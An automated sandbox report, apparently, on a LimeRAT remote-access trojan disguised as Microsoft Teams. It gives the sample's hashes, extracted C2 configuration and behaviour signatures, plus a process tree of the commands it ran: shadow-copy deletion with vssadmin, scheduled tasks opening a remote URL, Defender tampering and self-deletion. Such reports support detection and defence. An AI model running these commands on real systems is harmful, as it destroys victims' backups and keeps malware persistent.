Analysis

  • max time kernel
    299s
  • max time network
    300s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240419-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240419-enlocale:en-usos:windows10-2004-x64system
  • submitted
    26-04-2024 19:23

General

  • Target

    Client.exe

  • Size

    252KB

  • MD5

    7746b64cfda991754c277e8dbfcb12bf

  • SHA1

    f3d05a15cf7c4f1d07bca938076cb53df9c39e16

  • SHA256

    ba34bf8ee0d74e9978464c7daa4c0f44cfeafbb2096364ee58432fd6ebbced91

  • SHA512

    04b7a7dc507c150cc21217ba41a2f0cc7448f59e5b62e2f9279540a1cd2ed4b02b56d1d20ce901f09f6e347fb6e7208bfc08f1ecf814810af9ae05cf54327334

  • SSDEEP

    6144:tEIE/UVPy/oCa+LDZWC9z589b2vknq1dis4N:iIzPygCa+DZQnq1cP

Malware Config

Extracted

Family

limerat

Wallets

False

Attributes
  • aes_key

    adminsigma5214881939pashalko

  • antivm

    false

  • c2_url

    https://pastebin.com/raw/DDTVwwbu

  • download_payload

    false

  • install

    true

  • install_name

    MIcrosoft Teams.exe

  • main_folder

    True

  • payload_url

    True

  • pin_spread

    true

  • sub_folder

    False

  • usb_spread

    true

Signatures

  • Contains code to disable Windows Defender 2 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • LimeRAT

    Simple yet powerful RAT for Windows machines written in .NET.

  • Modifies WinLogon for persistence 2 TTPs 2 IoCs
  • Modifies Windows Defender Real-time Protection settings 3 TTPs 4 IoCs
  • Modifies security service 2 TTPs 1 IoCs
  • Deletes shadow copies 2 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Enumerates connected drives 3 TTPs 15 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 22 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Creates scheduled task(s) 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Disables Windows logging functionality 2 TTPs

    Changes registry settings to disable Windows Event logging.

  • Interacts with shadow copies 2 TTPs 12 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 9 IoCs
  • Suspicious use of AdjustPrivilegeToken 9 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\Client.exe
    "C:\Users\Admin\AppData\Local\Temp\Client.exe"
    1⤵
    • Modifies WinLogon for persistence
    • Modifies Windows Defender Real-time Protection settings
    • Modifies security service
    • Checks computer location settings
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2700
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" Get-MpPreference -verbose
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4016
    • C:\Windows\SYSTEM32\cmd.exe
      cmd /c vssadmin Delete Shadows /all /quiet
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1080
      • C:\Windows\system32\vssadmin.exe
        vssadmin Delete Shadows /all /quiet
        3⤵
        • Interacts with shadow copies
        PID:3244
    • C:\Windows\SYSTEM32\cmd.exe
      cmd /c vssadmin resize shadow /for=c: /on=c: /maxsize=401MB
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4492
      • C:\Windows\system32\vssadmin.exe
        vssadmin resize shadow /for=c: /on=c: /maxsize=401MB
        3⤵
          PID:4712
      • C:\Windows\SYSTEM32\cmd.exe
        cmd /c vssadmin resize shadowstorage /for=c: /on=c: /maxsize=unbounded
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:3400
        • C:\Windows\system32\vssadmin.exe
          vssadmin resize shadowstorage /for=c: /on=c: /maxsize=unbounded
          3⤵
          • Interacts with shadow copies
          PID:4748
      • C:\Windows\SYSTEM32\cmd.exe
        cmd /c vssadmin resize shadowstorage /for=d: /on=d: /maxsize=unbounded
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:4924
        • C:\Windows\system32\vssadmin.exe
          vssadmin resize shadowstorage /for=d: /on=d: /maxsize=unbounded
          3⤵
          • Enumerates connected drives
          • Interacts with shadow copies
          PID:3980
      • C:\Windows\SYSTEM32\cmd.exe
        cmd /c vssadmin resize shadowstorage /for=e: /on=e: /maxsize=401MB
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:4028
        • C:\Windows\system32\vssadmin.exe
          vssadmin resize shadowstorage /for=e: /on=e: /maxsize=401MB
          3⤵
          • Enumerates connected drives
          • Interacts with shadow copies
          PID:4928
      • C:\Windows\SYSTEM32\cmd.exe
        cmd /c vssadmin resize shadowstorage /for=e: /on=e: /maxsize=unbounded
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:3588
        • C:\Windows\system32\vssadmin.exe
          vssadmin resize shadowstorage /for=e: /on=e: /maxsize=unbounded
          3⤵
          • Enumerates connected drives
          • Interacts with shadow copies
          PID:3868
      • C:\Windows\SYSTEM32\cmd.exe
        cmd /c vssadmin resize shadowstorage /for=f: /on=f: /maxsize=401MB
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:2388
        • C:\Windows\system32\vssadmin.exe
          vssadmin resize shadowstorage /for=f: /on=f: /maxsize=401MB
          3⤵
          • Enumerates connected drives
          • Interacts with shadow copies
          PID:4724
      • C:\Windows\SYSTEM32\cmd.exe
        cmd /c vssadmin resize shadowstorage /for=f: /on=f: /maxsize=unbounded
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:3820
        • C:\Windows\system32\vssadmin.exe
          vssadmin resize shadowstorage /for=f: /on=f: /maxsize=unbounded
          3⤵
          • Enumerates connected drives
          • Interacts with shadow copies
          PID:2864
      • C:\Windows\SYSTEM32\cmd.exe
        cmd /c vssadmin resize shadowstorage /for=g: /on=g: /maxsize=401MB
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:2900
        • C:\Windows\system32\vssadmin.exe
          vssadmin resize shadowstorage /for=g: /on=g: /maxsize=401MB
          3⤵
          • Enumerates connected drives
          • Interacts with shadow copies
          PID:4204
      • C:\Windows\SYSTEM32\cmd.exe
        cmd /c vssadmin resize shadowstorage /for=g: /on=g: /maxsize=unbounded
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:2872
        • C:\Windows\system32\vssadmin.exe
          vssadmin resize shadowstorage /for=g: /on=g: /maxsize=unbounded
          3⤵
          • Enumerates connected drives
          • Interacts with shadow copies
          PID:2412
      • C:\Windows\SYSTEM32\cmd.exe
        cmd /c vssadmin resize shadowstorage /for=h: /on=h: /maxsize=401MB
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:3860
        • C:\Windows\system32\vssadmin.exe
          vssadmin resize shadowstorage /for=h: /on=h: /maxsize=401MB
          3⤵
          • Enumerates connected drives
          • Interacts with shadow copies
          PID:2996
      • C:\Windows\SYSTEM32\cmd.exe
        cmd /c vssadmin resize shadowstorage /for=h: /on=h: /maxsize=unbounded
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1480
        • C:\Windows\system32\vssadmin.exe
          vssadmin resize shadowstorage /for=h: /on=h: /maxsize=unbounded
          3⤵
          • Enumerates connected drives
          • Interacts with shadow copies
          PID:4232
      • C:\Windows\SYSTEM32\cmd.exe
        cmd /c Vssadmin delete shadowstorage /all /quiet
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1236
        • C:\Windows\system32\vssadmin.exe
          Vssadmin delete shadowstorage /all /quiet
          3⤵
          • Interacts with shadow copies
          PID:2188
      • C:\Windows\SYSTEM32\schtasks.exe
        schtasks /create /f /st "17:16" /sc daily /mo "4" /tn "ACCBackgroundApplication" /tr "'explorer'https://gsurl.be/kXG3"
        2⤵
        • Creates scheduled task(s)
        PID:3684
      • C:\Windows\SYSTEM32\schtasks.exe
        schtasks /create /f /st "10:34" /sc daily /mo "4" /tn "ACCBackgroundApplication" /tr "'explorer'https://gsurl.be/kXG3"
        2⤵
        • Creates scheduled task(s)
        PID:2996
      • C:\Windows\SYSTEM32\schtasks.exe
        schtasks /create /f /st "23:36" /sc daily /mo "3" /tn "ACCBackgroundApplication" /tr "'explorer'https://gsurl.be/kXG3"
        2⤵
        • Creates scheduled task(s)
        PID:1092
      • C:\Windows\SYSTEM32\schtasks.exe
        schtasks /create /f /st "21:51" /sc weekly /mo "4" /d "Wed" /tn "ACCBackgroundApplication" /tr "'explorer'https://gsurl.be/kXG3"
        2⤵
        • Creates scheduled task(s)
        PID:1692
      • C:\Windows\SYSTEM32\schtasks.exe
        schtasks /create /f /st "03:56" /sc monthly /m "aug" /tn "ACCBackgroundApplication" /tr "'explorer'https://gsurl.be/kXG3"
        2⤵
        • Creates scheduled task(s)
        PID:2380
      • C:\Windows\SYSTEM32\cmd.exe
        cmd.exe /c ping 0 -n 2 & del "C:\Users\Admin\AppData\Local\Temp\Client.exe"
        2⤵
          PID:4852
          • C:\Windows\system32\PING.EXE
            ping 0 -n 2
            3⤵
            • Runs ping.exe
            PID:4128
        • C:\Users\AdminMIcrosoft TeamsMIcrosoft Teams.exe
          "C:\Users\AdminMIcrosoft TeamsMIcrosoft Teams.exe"
          2⤵
          • Modifies WinLogon for persistence
          • Executes dropped EXE
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3820
      • C:\Windows\system32\vssvc.exe
        C:\Windows\system32\vssvc.exe
        1⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:400

      Network

      MITRE ATT&CK Enterprise v15

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      Downloads

      • C:\Users\AdminMIcrosoft TeamsMIcrosoft Teams.exe

        Filesize

        252KB

        MD5

        7746b64cfda991754c277e8dbfcb12bf

        SHA1

        f3d05a15cf7c4f1d07bca938076cb53df9c39e16

        SHA256

        ba34bf8ee0d74e9978464c7daa4c0f44cfeafbb2096364ee58432fd6ebbced91

        SHA512

        04b7a7dc507c150cc21217ba41a2f0cc7448f59e5b62e2f9279540a1cd2ed4b02b56d1d20ce901f09f6e347fb6e7208bfc08f1ecf814810af9ae05cf54327334

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ios3r5dc.vss.ps1

        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      • memory/2700-20-0x00007FFD982B0000-0x00007FFD98D71000-memory.dmp

        Filesize

        10.8MB

      • memory/2700-2-0x000002A0DA400000-0x000002A0DA410000-memory.dmp

        Filesize

        64KB

      • memory/2700-0-0x000002A0BFCA0000-0x000002A0BFCE4000-memory.dmp

        Filesize

        272KB

      • memory/2700-21-0x000002A0DA400000-0x000002A0DA410000-memory.dmp

        Filesize

        64KB

      • memory/2700-1-0x00007FFD982B0000-0x00007FFD98D71000-memory.dmp

        Filesize

        10.8MB

      • memory/2700-33-0x00007FFD982B0000-0x00007FFD98D71000-memory.dmp

        Filesize

        10.8MB

      • memory/4016-3-0x00007FFD982B0000-0x00007FFD98D71000-memory.dmp

        Filesize

        10.8MB

      • memory/4016-5-0x0000024D7D6C0000-0x0000024D7D6D0000-memory.dmp

        Filesize

        64KB

      • memory/4016-4-0x0000024D7D6C0000-0x0000024D7D6D0000-memory.dmp

        Filesize

        64KB

      • memory/4016-15-0x0000024D7DE00000-0x0000024D7DE22000-memory.dmp

        Filesize

        136KB

      • memory/4016-18-0x00007FFD982B0000-0x00007FFD98D71000-memory.dmp

        Filesize

        10.8MB